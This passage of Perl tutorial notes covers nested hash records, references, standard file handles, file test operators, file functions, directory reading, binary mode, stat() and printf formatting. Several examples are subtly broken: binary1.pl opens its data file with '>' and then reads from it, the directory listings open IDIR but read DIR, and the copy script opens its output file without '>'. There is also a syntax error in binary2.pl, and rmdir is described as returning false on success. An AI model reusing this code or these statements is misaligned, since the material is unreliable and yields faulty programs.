There is one more twist that I would like to show you using this data structure. Let's see how to dynamically add information. First, we'll look at adding an entire data record, and then we'll look at adding new members to an existing data record. The nex code fragment shows you can use a standard hash assignment to dynamically create a data record.

The `database3.pl` script does this:

```
$database{"MRD-300"} = {

    "Name"    => "Nathan Hale",

    "Address" => "999 Centennial Ave.",

    "Town"    => "AnyTown",

    "State"   => "AnyState",

    "Zip"     => "12345-1234"

};



$refCustomer = $database{"MRD-300"};

print(%{$refCustomer}->{"Name"} . "\n");

print(%{$refCustomer}->{"Address"} . "\n");
```

This program displays:

```
Nathan Hale

999 Centennial Ave.
```

Notice that by using a temporary variable (`$refCustomer`), the program code is more readable. The alternative would be this:

```
print(%{$database{"MRD-300"}}->{"Name"} . "\n");
```

Most programmers would agree that using the temporary variable aids in the understanding of the program.

Our last data structure example will show how to add members to an existing customer record. The final code listing (`database4.pl`) shows how to add two phone number members to customer record MRD-300.

```
$codeRef = sub {

    while (($key, $value) = each(%database)) {

        print("$key = {\n");

        while (($innerKey, $innerValue) = each(%{$value})) {

            print("\t$innerKey => $innerValue\n");

        }

        print("};\n\n");

    }

};



$database{"MRD-300"} = {

    "Name"    => "Nathan Hale",

    "Address" => "999 Centennial Ave.",

    "Town"    => "AnyTown",

    "State"   => "AnyState",

    "Zip"     => "12345-1234"

};



# print database before dynamic changes.

&{$codeRef};
```

```
$refCustomer = $database{"MRD-300"};

%{$refCustomer}->{"Home Phone"}     = "(111) 511-1322";

%{$refCustomer}->{"Business Phone"} = "(111) 513-4556";


# print database after dynamic changes.

&{$codeRef};
```

This program displays:

```
MRD-300 = {

        Town => AnyTown

        State => AnyState

        Name => Nathan Hale

        Zip => 12345-1234

        Address => 999 Centennial Ave.

};


MRD-300 = {

        Town => AnyTown

        State => AnyState

        Name => Nathan Hale

        Home Phone => (111) 511-1322

        Zip => 12345-1234

        Business Phone => (111) 513-4556

        Address => 999 Centennial Ave.

};
```

This example does two new things. The first thing is that it uses an anonymous function referenced by `$codeRef`. This is done for illustration purposes. There is no reason to use an anonymous function. There are actually good reasons for you not to do so in normal programs. I think that anonymous functions make programs much harder to understand.

Note When helper functions are small and easily understood, I like to place them at the beginning of code files. This helps me to quickly refresh my memory when coming back to view program code after time spent doing other things.

The second thing is that a regular hash assignment statement was used to add values. You can use any of the array functions with these nested data structures.

---

dave@cs.cf.ac.uk

Interpolating Functions Inside Double-Quoted Strings

You can use references to force Perl to interpolate the return value of a function call inside double-quoted strings. This helps to reduce the number of temporary variables needed by your program, as in `interpolate.pl`:

```
print("Here are  5 dashes ${\makeLine(5)}.\n");

print("Here are 10 dashes ${\makeLine(10)}.\n");



sub makeLine {

    return("-" x $_[0]);

}
```

This program displays:

```
Here are  5 dashes -----.

Here are 10 dashes ----------.
```

The trick in this example is that the backslash turns the scalar return value into a reference, and then the dollar sign and curly braces turn the reference back into a scalar value that the `print()` function can interpret correctly. If the backslash character is not used to create the reference to the scalar return value, then the `${}` dereferencing operation does not have a reference to dereference, and you will get an "initialized value" error.

---

dave@cs.cf.ac.uk

Summary

In this chapter you learned about references. References are scalar variables used to hold the memory locations. When references are dereferenced, the actual value is returned. For example, if the value of the reference is assigned like this: `$refScalar = \10`, then, dereferencing `$refScalar` would be equal to 10 and would look like this `${$refScalar}`. You always can create a reference to a value or variable by preceding it with a backslash. Dereferencing is accomplished by surrounding the reference variable in curly braces and preceding the left curly brace with a character denoting what type of reference it is. For example, use `@` for arrays and `&` for functions.

There are five types of references that you can use in Perl. You can have a reference to scalars, arrays, hashes, functions, and other references. If you need to determine what type of reference is passed to a function, use the `ref()` function.

The `ref()` function returns a string that indicates which type of reference was passed to it. If the parameter was not a reference, the undefined value is returned. You discovered that it is always a good idea to check reference types to prevent errors caused by passing the wrong type of reference. An example was given that caused an error by passing a scalar reference when the function expected an array reference.

A lot of time was spent discussing data records and how to access information stored in them. You learned how to step through dissecting a dereferencing expression, how to dynamically add new data records to an associative array, and how to add new data members to an existing record.

The last thing covered in this chapter was how to interpolate function calls inside double-quoted strings. You'll use this technique-at times-to avoid using temporary variables when printing or concatenating the output of functions to other strings.

---

dave@cs.cf.ac.uk

Files -- Input and Output in Perl

If you've read the previous chapters and have executed some of the programs, then you already know that a file is a series of bytes stored on a disk instead of inside the computer's memory. A *file* is good for long-term storage of information. Information in the computer's memory is lost when the computer is turned off. Information on a disk, however, is persistent. It will be there when the computer is turned back on.

We already know how to create a file using a *text editor* program. In this chapter, you'll see how to manipulate files with Perl.

There are four basic operations that you can do with files. You can open them, read from them, write to them, and close them. Opening a file creates a connection between your program and the location on the disk where the file is stored. Closing a file shuts down that connection.

Every file has a unique *fully qualified* name so that it can't be confused with other files. The fully qualified name includes the name of the disk, the directory, and the file name. Files in different directories can have the same name because the operating system considers the directory name to be a part of the file name. Here are some fully qualified file names:

```
c:/windows/win95.txt

c:/windows/command/scandisk.ini

c:/a_long_directory_name/a_long_subdirectory_name/a_long_file_name.doc
```

Caution You may be curious to know if spaces can be used inside file names. Yes, they can. But, if you use spaces, you need to surround the file name with quotes when referring to it from a DOS or UNIX command line.

Note It is very important that you check for errors when dealing with files. To simplify the examples in this chapter, little error checking will be used in the example. Instead, error checking information will be discussed in Chapter 13, "Handling Errors and Signals."

- Some Files Are Standard
  - Using the Diamond Operator (<>)
- File Test Operators
- File Functions
  - Reading Directories
  - Reading and Writing Files

- Binary Files
- Getting File Statistics
- Printing Revisited

Some Files Are Standard

In an effort to make programs more uniform, there are three connections that always exist when your program starts. These are `STDIN`, `STDOUT`, and `STDERR`. Actually, these names are *file handles*. File handles are variables used to manipulate files. Just like you need to grab the handle of a hot pot before you can pick it up, you need a file handle before you can use a file.

The three special file handles are always open `STDIN, STDOUT` and `STDERR`.

`STDIN` reads from *standard input* which is usually the keyboard in normal Perl script or input from a Browser in a CGI script. Cgi-lib.pl reads from this automatically.

`STDOUT` (*Standard Output*) and `STDERR` (*Standard Error*)by default write to a console or a browser in CGI.

You've been using the `STDOUT` file handle without knowing it for every `print()` statement in this book. The `print()` function uses `STDOUT` as the default if no other file handle is specified. Later in this chapter, in the "Examples: Printing Revisited" section, you will see how to send output to a file instead of to the monitor.

Example: Using STDIN

Reading a line of input from the standard input, `STDIN`, is one of the easiest things that you can do in Perl. This following three-line program will read a line from the keyboard and then display it. This will continue until you press `Ctrl+Z` on DOS systems or `Ctrl-D` on UNIX systems `stdin.pl`.

```
while (<STDIN>) {

    print();

}
```

The <> characters, when used together, are called the *diamond* operator. It tells Perl to read a line of input from the file handle inside the operator. In this case, `STDIN`. Later, you'll use the diamond operator to read from other file handles.

In this example, the diamond operator assigned the value of the input string to `$_` . Then, the `print()` function was called with no parameters, which tells `print()` to use `$_` as the default parameter. Using the `$_` variable can save a lot of typing, but I'll let you decide which is more readable. Here is the same program (`stdin2.pl`) without using `$_`.

```
while ($inputLine = <STDIN>) {

    print($inputLine);
```

```
}
```

When you pressed `Ctrl+Z` or `Ctrl+D`, you told Perl that the input file was finished. This caused the diamond operator to return the undefined value which Perl equates to false and caused the `while` loop to end. In DOS (and therefore in all of the flavors of Windows), 26-the value of `Ctrl+Z`-is considered to be the end-of-file indicator. As DOS reads or writes a file, it monitors the data stream and when a value of 26 is encountered the file is closed. UNIX does the same thing when a value of 4-the value of `Ctrl+D`-is read.

Tip When a file is read using the diamond operator, the newline character that ends the line is kept as part of the input string. Frequently, you'll see the `chop()` function used to remove the newline. For instance, `chop($inputLine = <INPUT_FILE>);`. This statement reads a line from the input file, assigns its value to `$inputLine` and then removes that last character from `$inputLine`-which is almost guaranteed to be a newline character. If you fear that the last character is not a newline, use the `chomp()` function instead.

Example: Using Redirection to Change STDIN and STDOUT

DOS and UNIX let you change the standard input from being the keyboard to being a file by changing the command line that you use to execute Perl programs. Until now, you probably used a command line similar to:

```
perl -w 09lst01.pl
```

In the previous example, Perl read the keyboard to get the standard input. But, if there was a way to tell Perl to use the file `09LST01.PL` as the standard input, you could have the program print itself. Pretty neat, huh? Well, it turns out that you can change the standard input. It's done this way:

```
perl -w 09lst01.pl < 09lst01.pl
```

The < character is used to *redirect* the standard input to the 09LST01.PL file. You now have a program that duplicates the functionality of the DOS type command. And it only took three lines of Perl code!

You can redirect standard output to a file using the > character. So, if you wanted a copy of `09LST01.PL` to be sent to `OUTPUT.LOG`, you could use this command line: perl -w 09lst01.pl <09lst01.pl >output.log

Keep this use of the < and > characters in mind. You'll be using them again shortly when we talk about the `open()` function. The < character will signify that files should be opened for input and the > will be used to signify an output file. But first, let's continue talking about accessing files listed on the command line.

- Using the Diamond Operator (<>)

Using the Diamond Operator (<>)

If no file handle is used with the diamond operator, Perl will examine the `@ARGV` special variable. If `@ARGV` has no elements, then the diamond operator will read from `STDIN`-either from the keyboard or from a redirected file. So, if you wanted to display the contents of more than one file, you could use the program shown, `diamond.pl`:

```
while (<>) {

    print();

}
```

The command line to run the program might look like this:

```
perl -w 09lst02.pl 09lst01.pl 09lst02.pl
```

And the output would be:

```
while (<STDIN>) {

    print();

}

while (<>) {

    print();

}
```

Perl will create the `@ARGV` array from the command line. Each file name on the command line-after the program name-will be added to the `@ARGV` array as an element. When the program runs the diamond operator starts reading from the file name in the first element of the array. When that entire file has been read, the next file is read from, and so on, until all of the elements have been used. When the last file has be finished, the `while` loop will end.

Using the diamond operator to iterate over a list of file names is very handy. You can use it in the middle of your program by explicitly assigning a list of file names to the `@ARGV` array. The listing below shows what this might look like in a program, `file.pl`.

```
@ARGV = ("diamond.pl", "stdin.pl");

while (<>) {
```

```
    print();

}
```

This program displays:

```
while (<STDIN>) {

    print();

}

while (<>) {

    print();

}
```

Next, we will take a look at the ways that Perl lets you test files, and following that, the functions that can be used with files.

---

dave@cs.cf.ac.uk

File Test Operators

Perl has many operators that you can use to test different aspects of a file. For example, you can use the `-e` operator to ensure that a file exists before deleting it. Or, you can check that a file can be written to before appending to it. By checking the feasibility of the impending file operation, you can reduce the number of errors that your program will encounter.

A complete list of the operators used to test files is given in Table 9.1

Table 9.1: File Operands

Operator	*Description*
`-A OPERAND`	Returns the access age of `OPERAND` when the program started.
`-bOPERAND`	Tests if `OPERAND` is a block device.
`-BOPERAND`	Tests if `OPERAND` is a binary file. If `OPERAND` is a file handle,
	then the current buffer is examined, instead of the file itself.
`-c OPERAND`	Tests if `OPERAND` is a character device.
`-COPERAND`	Returns the inode change age of `OPERAND` when the program started.
`-dOPERAND`	Tests if `OPERAND` is a directory.
`-eOPERAND`	Tests if `OPERAND` exists.
`-fOPERAND`	Tests if `OPERAND` is a regular file as opposed to a directory,
	symbolic link or other type of file.
`-g OPERAND`	Tests if `OPERAND` has the setgid bit set.
`-kOPERAND`	Tests if `OPERAND` has the sticky bit set.
`-lOPERAND`	Tests if `OPERAND` is a symbolic link. Under DOS,
	this operator always will return false.
`-M OPERAND`	Returns the age of `OPERAND` in days when the program started.
`-oOPERAND`	Tests if `OPERAND` is owned by the effective uid.
	Under DOS, it always returns true.
`-OOPERAND`	Tests if `OPERAND` is owned by the read uid/gid.
	Under DOS, it always returns true.
`-pOPERAND`	Tests if `OPERAND` is a named pipe.

-rOPERAND	Tests if OPERAND can be read from.
-ROPERAND	Tests if OPERAND can be read from by the real uid/gid.
	Under DOS, it is identical to -r.
-sOPERAND	Returns the size of OPERAND in bytes.
	Therefore, it returns true if OPERAND is non-zero.
-SOPERAND	Tests if OPERAND is a socket.
-tOPERAND	Tests if OPERAND is opened to a tty.
-TOPERAND	Tests if OPERAND is a text file. If OPERAND is a file handle,
	then the current buffer is examined, instead of the file itself.
-uOPERAND	Tests if OPERAND has the setuid bit set.
-w OPERAND	Tests if OPERAND can be written to.
-W OPERAND	Tests if OPERAND can be written to by the real uid/gid.
	Under DOS, it is identical to -w.
-xOPERAND	Tests if OPERAND can be executed.
-XOPERAND	Tests if OPERAND can be executed by the real uid/gid.
	Under DOS, it is identical to -x.
-zOPERAND	Tests if OPERAND size is zero.

Note If the OPERAND is not specified in the file test, the $ variable will be used instead.

The operand used by the file tests can be either a file handle or a file name. The file tests work by internally calling the operating system to determine information about the file in question. The operators will evaluate to true if the test succeeds and false if it does not.

If you need to perform two or more tests on the same file, you use the special underscore (_) file handle. This tells Perl to use the file information for the last system query and saves time. However, the underscore file handle does have some caveats. It does not work with the -t operator. In addition, the lstat() function and -l test will leave the system buffer filled with information about a symbolic link, not a real file.

The -T and -B file tests will examine the first block or so of the file. If more than 10 percent of the bytes are non-characters or if a null byte is encountered, then the file is considered a binary file. *Binary* files are normally data files, as opposed to text or human-readable files. If you need to work with binary files, be sure to use the binmode() file function, which is described in the section, "Example: Binary Files," later in this chapter.

Using File Tests

For our first example with file tests, let's examine a list of files from the command line and determine if each is a regular file or a special file test.pl.

```
foreach (@ARGV) {

                 print;

                 print((-f) ? " -REGULAR\n" : " -SPECIAL\n")

                }
```

When this program is run using the following command line:

```
perl -w 09lst01.pl \perl5 perl.exe \windows
```

the following is displayed:

```
09lst01.pl -REGULAR

\perl5 -SPECIAL

perl.exe -REGULAR

\windows -SPECIAL
```

Each of the directories listed on the command line were recognized as special files. If you want to ignore all special files in the command line, you do so like this `test2.pl`:

```
foreach (@ARGV) {

    next unless -f;    # ignore all non-normal files.

    print;

    print((-f) ? " -REGULAR\n" : " -SPECIAL\n")

}
```

When this program is run using the following command line:

```
perl -w 09lst01.pl \perl perl.exe \windows}
```

the following is displayed:

```
09lst01.pl -REGULAR
perl.exe -REGULAR
```

Notice that only the regular file names are displayed. The two directories on the command line were ignored.

As mentioned above, you can use the underscore file handle to make two tests in a row on the same file so that your program can execute faster and use less system resources. This could be important if

your application is time critical or makes many repeated tests on a large number of files `size.pl`.

```
foreach (@ARGV) {

    next unless -f;

    $fileSize = -s _;

    print("$_ is $fileSize bytes long.\n");

}
```

When this program is run using the following command line:

```
perl -w 09lst06.pl \perl5 09lst01.pl \windows perl.exe
```

the following is displayed:

```
09lst01.pl is 36 bytes long.
perl.exe is 61952 bytes long.
```

---

 dave@cs.cf.ac.uk

File Functions

The following file functions are available in Perl:

- `binmode(FILE_HANDLE)` This function puts FILE_HANDLE into a binary mode.
- `chdir( DIR_NAME)` Causes your program to use DIR_NAME as the current directory. It will return true if the change was successful, false if not.
- `chmod(MODE, FILE_LIST)` This UNIX-based function changes the permissions for a list of files. A count of the number of files whose permissions was changed is returned. There is no DOS equivalent for this function.
- `chown(UID, GID, FILE_LIST)` This UNIX-based function changes the owner and group for a list of files. A count of the number of files whose ownership was changed is returned. There is no DOS equivalent for this function.
- `close(FILE_HANDLE)` Closes the connection between your program and the file opened with `FILE_HANDLE`.
- `closedir( DIR_HANDLE)` Closes the connection between your program and the directory opened with `DIR_HANDLE`.
- `eof(FILE_HANDLE)` Returns true if the next read on `FILE_HANDLE` will result in hitting the end of the file or if the file is not open. If `FILE_HANDLE` is not specified the status of the last file read is returned. All input functions return the undefined value when the end of file is reached, so you'll almost never need to use `eof()`.
- `fcntl(FILE_HANDLE`, Implements the `fcntl()` function which lets `FUncTION, SCALAR`) you perform various file control operations. Its use is beyond the scope of this course.
- `fileno( FILE_HANDLE)` Returns the file descriptor for the specified `FILE_HANDLE`.
- `flock(FILEHANDLE, OPERATION)` This function will place a lock on a file so that multiple users or programs can't simultaneously use it. The `flock()` function is beyond the scope of this book.
- `getc(FILE_HANDLE)` Reads the next character from `FILE_HANDLE`. If `FILE_HANDLE` is not specified, a character will be read from `STDIN`. `glob( EXPRESSION)` Returns a list of files that match the specification of `EXPRESSION`, which can contain wildcards. For instance, `glob( "*.pl")` will return a list of all Perl program files in the current directory.
- `ioctl(FILE_HANDLE`, Implements the `ioctl()` function which lets `FUncTION, SCALAR`) you perform various file control operations. Its use is beyond the scope of this book. For more in-depth discussion of this function see Que's *Special Edition Using Perl for Web Programming*.
- `link(OLD_FILE_NAME`, This UNIX-based function creates a new `NEW_FILE_NAME`) file name that is linked to the old file name. It returns true for success and false for failure. There is no DOS equivalent for this function. `lstat( FILE_HANDLE_OR`_Returns file statistics in a 13-element array. `FILE_NAME`) `lstat()` is identical to `stat()` except that it can also return information about symbolic links.

- mkdir(DIR_NAME, MODE) Creates a directory named DIR_NAME. If you try to create a subdirectory, the parent must already exist. This function returns false if the directory can't be created. The special variable $! is assigned the error message.
- open(FILE_HANDLE, EXPRESSION) Creates a link between FILE_HANDLE and a file specified by EXPRESSION.
- opendir(DIR_HANDLE, DIR_NAME) Creates a link between DIR_HANDLE and the directory specified by DIR_NAME. opendir() returns true if successful, false otherwise.
- pipe(READ_HANDLE), Opens a pair of connected pipes like the WRITE_HANDLE) corresponding system call. Its use is beyond the scope of this book. For more on this function see Que's *Special Edition Using Perl for Web Programming*. print FILE_HANDLE (LIST) Sends a list of strings to FILE_HANDLE. If FILE_HANDLE is not specified, then STDOUT is used.
- printf FILE_HANDLESends a list of strings in a format specified by (FORMAT, LIST) FORMAT to FILE_HANDLE. If FILE_HANDLE is not specified, then STDOUT is used.
- read(FILE_HANDLE, BUFFER, Reads bytes from FILE_HANDLE starting at LENGTH,LENGTHOFFSET) OFFSET position in the file into the scalar variable called BUFFER. It returns the number of bytes read or the undefined value.
- readdir(DIR_HANDLE) Returns the next directory entry from DIR_HANDLE when used in a scalar context. If used in an array context, all of the file entries in DIR_HANDLE will be returned in a list. If there are no more entries to return, the undefined value or a null list will be returned depending on the context.
- readlink(EXPRESSION) This UNIX-based function returns that value of a symbolic link. If an error occurs, the undefined value is returned and the special variable $! is assigned the error message. The $_ special variable is used if EXPRESSION is not specified.
- rename(OLD_FILE_NAME, Changes the name of a file. You can use this NEW_FILE_NAME) function to change the directory where a file resides, but not the disk drive or volume.
- rewinddir(DIR_HANDLE) Resets DIR_HANDLE so that the next readdir() starts at the beginning of the directory.
- rmdir(DIR_NAME) Deletes an empty directory. If the directory can be deleted it returns false and $! is assigned the error message. The $ special variable is used if DIR_NAME is not specified.
- seek(FILE_HANDLE, POSITION, Moves to POSITION in the file connected to WHEncE) FILE_HANDLE. The WHEncE parameter determines if POSITION is an offset from the beginning of the file (WHEncE=0), the current position in the file (WHEncE=1), or the end of the file (WHEncE=2).
- seekdir(DIR_HANDLE, POSITION) Sets the current position for readdir(). POSITION must be a value returned by the telldir() function.
- select(FILE_HANDLE) Sets the default FILE_HANDLE for the write() and print() functions. It returns the currently selected file handle so that you may restore it if needed.
- sprintf(FORMAT, LIST) Returns a string whose format is specified by FORMAT.
- stat(FILE_HANDLE_OR_Returns file statistics in a 13-element array. FILE_NAME)
- symlink(OLD_FILE_NAME, This UNIX-based function creates a new NEW_FILE_NAME) file name symbolically linked to the old file name. It returns false if the NEW_FILE_NAME cannot be created.

- `sysread(FILE_HANDLE, BUFFER, LENGTH,OFFSET)` Reads `LENGTH` bytes from `FILE_HANDLE` starting at `OFFSET` position in the file into the scalar variable called `BUFFER`. It returns the number of bytes read or the undefined value.
- `syswrite(FILE_HANDLE, BUFFER, LENGTH, OFFSET)` Writes `LENGTH` bytes from `FILE_HANDLE` starting at `OFFSET` position in the file into the scalar variable called `BUFFER`. It returns the number of bytes written or the undefined value.
- `tell(FILE_HANDLE)` Returns the current file position for `FILE_HANDLE`. If `FILE_HANDLE` is not specified, the file position for the last file read is returned.
- `telldir(DIR_HANDLE)` Returns the current position for `DIR_HANDLE`. The return value may be passed to `seekdir()` to access a particular location in a directory.
- `truncate(FILE_HANDLE, LENGTH)` Truncates the file opened on `FILE_HANDLE` to be `LENGTH` bytes long.
- `unlink(FILE_LIST)` Deletes a list of files. If `FILE_LIST` is not specified, then `$` will be used. It returns the number of files successfully deleted. Therefore, it returns false or 0 if no files were deleted.
- `utime( FILE_LIST)` This UNIX-based function changes the access and modification times on each file in `FILE_LIST`.
- `write(FILE_HANDLE)` Writes a formatted record to `FILE_HANDLE`.

- Reading Directories
- Reading and Writing Files
- Binary Files
- Getting File Statistics
- Printing Revisited

Reading Directories

Perl has several functions to operate on functions the `opendir(), readdir()` and `closedir()` functions are a common way to achieve this.

`opendir(DIR_HANDLE,"directory")` returns a Directory *handle* -- just an identifier (no $) -- for a given `directory` to be opened for reading.

Note that exact or subpath directories may be required.

BE WARNED: Macintosh directory paths are denoted by `:` in this instance UNIX directory paths are denoted by `/`.

`readdir(DIR_HANDLE)` returns a scalar (string) of the *basename* of the file (no sub directories (: or `/`))

`closedir(DIR_HANDLE)` simply closes the directory.

Therefore to list all files a given directory we can do the following `readdir.pl`:

```
opendir(IDIR,"Maclab:Internet")
   || die "NO SUCH Directory: Images";

while ($file = readdir(DIR) )
  {
        print " $file\n";

   }
closedir(DIR);
```

The above reads a folder `Internet` on the top level of the `Maclab` hard disk.

On UNIX we may do:

```
opendir(IDIR,"./Internet")
   || die "NO SUCH Directory: Images";

while ($file = readdir(DIR) )
  {
        print " $file\n";

   }
closedir(DIR);
```

The above reads a sub-directory `Internet` assumed to be located in the same directory from where the Perl script has been run.

One further example to alphabetically list files is `alpha.pl`:

```
opendir(IDIR,"./Internet")
   || die "NO SUCH Directory: Images";

foreach $file ( sort readdir(DIR) )
  {
        print " $file\n";

   }
closedir(DIR);
```

---

dave@cs.cf.ac.uk

Reading and Writing Files

We have just introduced the concept of a Directory Handle for referring to a Directory on disk.

We now introduce a similar concept of File Handle for referring to a File on disk from which we can read data and to which we can write data.

Similar ideas of opening and closing the files exist.

You use the `open()` operator to open a file (for reading):

```
open(FILEHANDLE,"file_on_device");
```

To open a file for writing you must use the ``>'' symbol in the `open()` operator:

```
open(FILEHANDLE,">outfile");
```

Write always starts writing to file at the start of the file. If the file already exists and contains data. The file will be opened and the data overwritten.

To open a file for appending you must use the ``>>'' symbol in the `open()` operator:

```
open(FILEHANDLE,">>appendfile");
```

The `close()` operator closes a file handle:

```
close(FILEHANDLE);
```

To read from a file you simply use the `<FILEHANDLE>` command which reads one line at a time from a `FILEHANDLE` and stores it in a special Perl variable `$_`.

For example, `read.pl`:

```
open(FILE,"myfile")
   || die "cannot open file";
while(<FILE>)
{ print $_; # echo line read
}
close(FILE);
```

To write to a file you use the Print command and simply refer to the `FILEHANDLE` before you format the output string via:

```
  print FILEHANDLE "Output String\n";
```

Therefore to read from one file `infile` and copy line by line to another `outfile` we could do `readwrite.pl`:

```
open(IN,"infile")
   || die "cannot open input file";
open(OUT,"outfile")
   || die "cannot open output file";
while(<IN>)
{ print OUT $_; # echo line read
}
close(IN);
close(OUT);
```

---

 dave@cs.cf.ac.uk

Binary Files

When you need to work with data files, you will need to know what binary mode is. There are two major differences between binary mode and text mode:

- In DOS and Windows, line endings are indicated by two characters-the newline and carriage return characters. When in text mode, these characters are input as a single character, the newline character. In binary mode, both characters can be read by your program. UNIX systems only use one character, the newline, to indicate line endings.
- In DOS and Windows, the end of file character is 26. When a byte with this value is read in text mode, the file is considered ended and your program cannot read any more information from the file. UNIX considers the end-of-file character to be 4. For both operating systems, binary mode will let the end-of-file character be treated as a regular character.

Note The examples in this section relate to the DOS operating system.

In order to demonstrate these differences, we'll use a data file called BINARY.DAT with the following contents:

```
01
02
03
```

First, we'll read the file in the default text mode.

We procede as follows:

- Initialize a buffer variable.
- Both *read()* and *sysread()* need their buffer variables to be initialized before the function call is executed.
- Open the *BINARY.DAT* file for reading.
- Read the first 20 characters of the file using the *read()* function.
- Close the file.
- Create an array out of the characters in the *$buffer* variable and iterate over that array using a *foreach* loop.
- Print the value of the current array element in hexadecimal format.
- Print a newline character. The current array element is a newline character.

The Perl to do this is, `binary1.pl`:

```
$buffer = "";
```

```
open(FILE, ">binary.dat");

read(FILE, $buffer, 20, 0);

close(FILE);



foreach (split(//, $buffer)) {

    printf("%02x ", ord($_));

    print "\n" if $_ eq "\n";

}
```

This program displays:

```
30 31 0a

30 32 0a

30 33 0a
```

This example does a couple of things that haven't been met before. The `Read()` function is used as an alternative to the line-by-line input done with the diamond operator. It will read a specified number of bytes from the input file and assign them to a buffer variable. The fourth parameter specifies an offset at which to start reading. In this example, we started at the beginning of the file.

The `split()` function in the `foreach` loop breaks a string into pieces and places those pieces into an array. The double slashes indicate that each character in the string should be an element of the new array.

Once the array of characters has been created, the `foreach` loop iterates over the array. The `printf()` statement converts the ordinal value of the character into hexadecimal before displaying it. The *ordinal* value of a character is the value of the ASCII representation of the character. For example, the ordinal value of '0' is 0x30 or 48.

The next line, the print statement, forces the output onto a new line if the current character is a newline character. This was done simply to make the output display look a little like the input file.

Now, let's read the file in binary mode and see how the output is changed.

The new code is as follow, `binary2.pl`:

```
$buffer = "";



open(FILE, "<binary.dat");
```

```
binmode(FILE);

read(FILE, $buffer, 20, 0);

close(FILE);


foreach (split//, $buffer)) {

    printf("%02x ", ord($_));

    print "\n" if $_ eq "\n";

}
```

This program displays:

```
30 31 0d 0a

30 32 0d 0a

30 33 0d 0a
```

When the file is read in binary mode, you can see that there are really two characters at the end of every line-the linefeed and newline characters.

---

dave@cs.cf.ac.uk

Getting File Statistics

The file test operators can tell you a lot about a file, but sometimes you need more. In those cases, you use the `stat()` or `lstat()` function. The `stat()` returns file information in a 13-element array. You can pass either a file handle or a file name as the parameter. If the file can't be found or another error occurs, the null list is returned. The listing below shows how to use the `stat()` function to find out information about the `EOF.DAT` file used earlier in the chapter.

The perl code `stat.pl` is:

```
($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size,
    $atime, $mtime, $ctime, $blksize, $blocks) = stat("eof.dat");


print("dev     = $dev\n");

print("ino     = $ino\n");

print("mode    = $mode\n");

print("nlink   = $nlink\n");

print("uid     = $uid\n");

print("gid     = $gid\n");

print("rdev    = $rdev\n");

print("size    = $size\n");

print("atime   = $atime\n");

print("mtime   = $mtime\n");

print("ctime   = $ctime\n");

print("blksize = $blksize\n");

print("blocks  = $blocks\n");
```

In the DOS environment, this program displays:

```
dev     = 2
```

```
ino     = 0

mode    = 33206

nlink   = 1

uid     = 0

gid     = 0

rdev    = 2

size    = 13

atime   = 833137200

mtime   = 833195316

ctime   = 833194411

blksize =

blocks  =
```

Some of this information is specific to the UNIX environmen and is not displayed here. One interesting piece of information is the `$mtime` value-the date and time of the last modification made to the file. You can interpret this value by using the following line of code:

```
($sec, $min, $hr, $day, $month, $year, $day_Of_Week, $julianDate,
$dst) = localtime($mtime);
```

If you are only interested in the modification date, you can use the array slice notation to just grab that value from the 13-element array returned by `stat()`.

For example:

```
$mtime = (stat("eof.dat"))[9];
```

Notice that the `stat()` function is surrounded by parentheses so that the return value is evaluated in an array context. Then the tenth element is assigned to `$mtime`. You can use this technique whenever a function returns a list.

Printing Revisited

We've been using the `print()` function throughout this book without really looking at how it works. Let's remedy that now.

The `print()` function is used to send output to a file handle. Most of the time, we've been using `STDOUT` as the file handle. Because `STDOUT` is the default, we did not need to specify it. The syntax for the `print()` function is: print FILE_HANDLE (LIST)

You can see from the syntax that `print()` is a list operator because it's looking for a list of values to print. If you don't specify a list, then $ will be used. You can change the default file handle by using the `select()` function. Let's take a look at this:

```
open(OUTPUT_FILE, ">testfile.dat");

$oldHandle = select(OUTPUT_FILE);

print("This is line 1.\n");

select($oldHandle);

print("This is line 2.\n");
```

This program displays:

```
This is line 2.
```

and creates the TESTFILE.DAT file with a single line in it:

```
This is line 1.
```

Perl also has the `printf()` function which lets you be more precise in how things are printed out. The syntax for `printf()` looks like this:

```
printf FILE_HANDLE (FORMAT_STRING, LIST)
```

Like `print()`, the default file handle is `STDOUT`. The `FORMAT_STRING` parameter controls what is printed and how it looks. For simple cases, the formatting parameter looks identical to the list that is passed to `printf()`. For example:

```
$januaryCost = 123.34;

$februaryCost = 23345.45;
```

```
printf("January  = \$$januaryCost\n");

printf("February = \$$februaryCost\n");
```

This program displays:

```
January  = $123.34

February = $23345.45
```

In this example, only one parameter is passed to the `printf()` function-the formatting string. Because the formatting string is enclosed in double quotes, variable interpolation will take place just like for the `print()` function.

This display is not good enough for a report because the decimal points of the numbers do not line up. You can use the formatting specifiers shown below:

Specifier	***Description***
c	Indicates that a single character
	should be printed.
s	Indicates that a string should
	be printed.
d	Indicates that a decimal number
	should be printed.
u	Indicates that an unsigned decimal
	number should be printed.
x	Indicates that a hexadecimal number
	should be printed.
o	Indicates that an octal number
	should be printed.
e	Indicates that a floating point
	number should be printed
	in scientific notation.
f	Indicates that a floating point number
	should be printed.
g	Indicates that a floating point number
	should be printed using

	the most space-spacing format, either e or f.

The formats can be modified as follows:

Modifier	*Description*
-	Indicates that the value should be printed left-justified.
#	Forces octal numbers to be printed with a leading zero.
	Hexadecimal numbers will be printed with a leading 0x.
+	Forces signed numbers to be printed with a leading + or - sign.
	Pads the displayed number with zeros instead of spaces.
.	Forces the value to be at least a certain width.

An example use of . is: `%10.3f`

which means that the value will be at least 10 positions wide. And because `f` is used for floating point, at most 3 positions to the right of the decimal point will be displayed. %.10s will print a string at most 10 characters long.

Returning to our above example, to print the cost variables using format specifiers, we may write `print.pl`

```
$januaryCost = 123.34;

$februaryCost = 23345.45;



printf("January  = \$%8.2f\n", $januaryCost);

printf("February = \$%8.2f\n", $februaryCost);
```

This program displays:

```
January  = $  123.34

February = $23345.45
```

This example uses the `f` format specifier to print a floating point number. The numbers are printed right next to the dollar sign because `$februaryCost` is 8 positions width.

If you did not know the width of the numbers that you need to print in advance, you could use the following technique:

- Create two variables to hold costs for January and February.
- Find the length of the largest number.
- Print the cost variables using variable interpolation to determine the width of the numbers to print. Define the *`max()`* function.

In Perl we would do, `printdemo.pl`:

```
$januaryCost = 123.34;

$februaryCost = 23345.45;



$maxLength = length(max($januaryCost, $februaryCost));



printf("January  = \$%$maxLength.2f\n", $januaryCost);

printf("February = \$%$maxLength.2f\n", $februaryCost);



sub max {

    my($max) = shift(@_);



    foreach $temp (@_) {

        $max = $temp if $temp > $max;

    }

    return($max);

}
```

This program displays:

```
January  = $  123.34

February = $23345.45
```

While taking the time to find the longest number is more work, the result is worth it.

Regular Expressions

